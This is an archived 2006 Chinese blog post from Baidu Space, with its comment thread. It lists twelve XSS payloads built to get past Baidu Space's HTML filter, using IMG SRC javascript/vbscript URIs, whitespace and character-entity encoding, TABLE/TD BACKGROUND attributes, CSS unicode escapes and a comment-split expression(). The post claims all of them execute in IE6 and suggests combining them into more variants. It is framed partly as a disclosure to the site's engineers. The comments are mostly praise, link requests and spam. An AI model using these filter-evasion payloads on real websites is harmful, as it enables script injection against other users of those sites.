百度空间 | 百度首页 
               
 
查看文章
 
百度空间发表带脚本文章的12招
2006-08-22 13:34

    百度空间的发文模块过滤了很多HTML标签,目的就是防止脚本执行。但就目前的情况来看,百度的工作做得还远远不够。下面我举些避开百度过滤的例子。

首先是Monyer的办法,利用IMG标签SRC属性嵌入脚本。这种办法公开已经有几天时间了,目前还没有被封:
(1) <IMG SRC="javascript:alert('XSS');">

如果你是vbs爱好者,也可以这样用:
(2) <IMG SRC='vbscript:msgbox("XSS")'>

如果百度过滤了SRC里面的"javascript","vbscript",可以尝试在关键字中间嵌入white space字符逃避过滤:
(3) <IMG SRC="jav&#x09;ascript:alert('XSS');" >
(4) <IMG SRC="jav&#x0A;ascript:alert('XSS');" >
(5) <IMG SRC="jav&#x0D;ascript:alert('XSS');" >

如果百度再把white space字符都过滤的话,可以用多种形式的转义编码来逃避过滤:
(6) <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
(7) <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
(8) <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

除了IMG可以利用,TABLE和TD标签也可以用来嵌入脚本:
(9) <TABLE BACKGROUND="javascript:alert('XSS')">
(10) <TABLE><TD BACKGROUND="javascript:alert('XSS')">

百度已经过滤了STYLE属性里面的"javascript"等关键字,但编码后可以逃避过滤:
(11) <DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\0029">

在关键字中间嵌入注释字串,可以逃避过滤:
(12) <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

    目前,上面列出的12个例子都可以做到脚本执行(至少保证在IE6下没问题)。借助百度发帖助手,我们很容易在文章中嵌入这样的HTML标签。当然这只是一些思路,或者入手点,12个例子之间有些是可以彼此配合使用的,通过组合搭配,我们可以得到几十种甚至更多嵌入脚本的方法。
    防止脚本注入历来都是件困难的事情,而对于当前的百度空间来说,脚本注入就意味着XSS攻击,又不得不防。愿本文也能够为百度空间的工程师们提供些参考,完善这个blog系统。


类别:系统网络安全 | 添加到搜藏 | 浏览() | 评论 (37)
 
最近读者:
 
网友评论:
1
2006-08-22 16:10 | 回复
我觉得你挺牛的,不知道你是干吗的?佩服……
 
2
2006-08-22 16:33 | 回复
我是Seven7.Blog 请将我的连接改下,我的新地址是http://hi.baidu.com/80ho 谢谢!
 
3
2006-08-22 16:44 | 回复
启发不小,多谢多谢。改日登门拜谢,嘿嘿
 
4
2006-08-22 17:53 | 回复
呵呵,兄长有给我们带来技术大餐了,学习ing^_^ 还要转载一下
 
5
2006-08-22 18:25 | 回复
很有启迪…………也就是说被封的都可以通过另一种形式的编码完成了—。—!
 
6
2006-08-22 18:58 | 回复
刚才试了一下,百度对于CSS的关键字过滤似乎要严禁许多啊 兄长说的方法对于CSS都不能实现了
 
7
2006-08-22 19:06 | 回复
惭愧呀~
 
8
2006-08-22 19:19 | 回复
to tblc: 嗯,这些只限在发HTML文章时使用。CSS本身的灵活度就远没有HTML来得大。
 
9
2006-08-22 19:52 | 回复
顶! 好帖!
 
10
2006-08-22 21:53 | 回复
晕。刚才提交了一下。只要转化成另一种编码完全可以使用。再说一句,强就是一个字!
 
11
2006-08-23 10:40 | 回复
呵呵 申请链接!! 好厉害啊偶一直崇拜高手 听说在这里可以问到blog排名之类的 能帮查一下偶的吗?
 
12
2006-08-23 10:58 | 回复
网上没有找到关于�D;这样的编码的介绍,daishuo能否介绍一下。多谢多谢。
 
13
2006-08-23 11:28 | 回复
to ouryaya: 链接已做好。 http://hi.baidu.com/yaaa,外链20,被链57,被链排名57
 
14
2006-08-23 11:32 | 回复
to 小狼:&#[字符十进制编码值]和&#x[十六进制编码值]是常用的转义编码方式。这个网上应该有不少资料啊。
 
15
2006-08-23 11:48 | 回复
daishuo,你常用的转码工具都有什么,像这个还有那个\0033格式的我转化起来很麻烦。介绍一下吧,这个&#;在google上不知道怎么搜索,它好像过滤掉。 麻烦daishuo了。
 
16
2006-08-23 20:02 | 回复
又学会几种对付杀病毒软件的办法!
 
17
2006-08-25 07:24 | 回复
哎,只能怪自己没天赋
 
18
2006-09-03 20:46 | 回复
太厉害了,我都想不出说什么了
 
19
2006-09-04 09:03 | 回复
20
2006-09-04 09:04 | 回复
 
21
2006-09-04 09:04 | 回复
 
22
2006-09-05 11:48 | 回复
厉害!! (开源的可视化自定义web表单工具,见: http://www.fcsoft.com.cn)
 
23
2006-09-05 17:19 | 回复
这个00是做甚的。
 
25
2006-10-19 19:20 | 回复
好啊,可惜,每次都要这么做太麻烦了啊,百度怎么不学下163 另,我想与你交换个链接,可以吗
 
26
2006-10-28 21:49 | 回复
太强了,有时间帮帮初学者
 
27
2007-01-23 11:41 | 回复
百度发帖助手今天不能用了 请问怎么在百度空间里加入html编码呢 给我回复行吗 谢谢你
 
28
2007-03-25 03:54 | 回复
http://user.qzone.qq.com/229802437
 
29
2007-03-25 03:55 | 回复
a
 
30
2007-03-27 10:45 | 回复
啊是很厉害嘛
 
31
2007-06-19 16:43 | 回复
大家希望免费制作空间的话,可去我空间参考一下,http://user.qzone.qq.com/363711120 之后帮我踩一踩哦!!! 之后联系我 我会给你们免费制作!!!
 
32
2007-07-04 13:19 | 回复
 
33
2007-09-07 19:44 | 回复
◆全职兼职上网赚钱◆ 职业要求: 1、有上网条件(在家中、办公室、网吧等地); 2、每天能有2--3小时上网时间; 3、有网络应用的基础(会QQ上网聊天、发电子邮件等)。 工资待遇: 一般会员月均收入累计可达2000元以上/月,宣传推广能力强者月收入可上万! 工作任务: 您加盟中创互联后,将分配给您一个和本站一样精美,功能非常强大,属于您自己的网站,作为站长,您的任务就是利用各种方法宣传这个站,让客户从你的网站上注册购买建站模版或者自己零售的商品,并接受您的建议,同意加盟中创互联的会员,这样您便可以拥有滚滚不断的财源。快速了解本站请仔细阅读 如何赚钱:http://yhgl.cctve.cn/book/ppk/ppk.htm 常见问题:http://yhgl.cctve.cn/book/sdtv/_why.htm 【加盟赚钱五步骤】注册临时会员→付费激活网站→接受上级指导,设计网站→宣传你的网站→赚钱 【详情请登陆加入网站】 :http://drcom.cctve.cn咨询QQ:413419065
 
34
2007-09-14 21:00 | 回复
df
 
35
2007-09-14 21:01 | 回复
http://user.qzone.qq.com/315486848进去看一下`` 不错的
 
36
2007-09-23 18:25 | 回复
(来源与青岛达丰职业技术培训学校的曾经的学生可靠消息):青岛达丰学校在网络上的介绍夸大,严重失真。学校的住宿条件奇差无比,稍微夸张一点说与以前的难民营相差不远(一个寝室前面的房间是四个人居住,后面房间却摆放六个床铺,四面都是墙壁,甚至连最基本的窗户都没有,换洗的衣服只能晾晒在走廊过道上)。教学承诺根本不可能实现。因为该校根本没有真正教授欧式西点的老师。该校只能传授学生最基本的初级中式点心知识。如有人对该校充满幻想,请早日清醒,以免后悔,浪费时间和青春!
 
37
2007-10-09 19:37 | 回复
dhttp://user.qzone.qq.com/270245379
 
38
2009-04-08 00:01 | 回复
回复daishuo:有人在你这类开始发垃圾链接了.哎
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu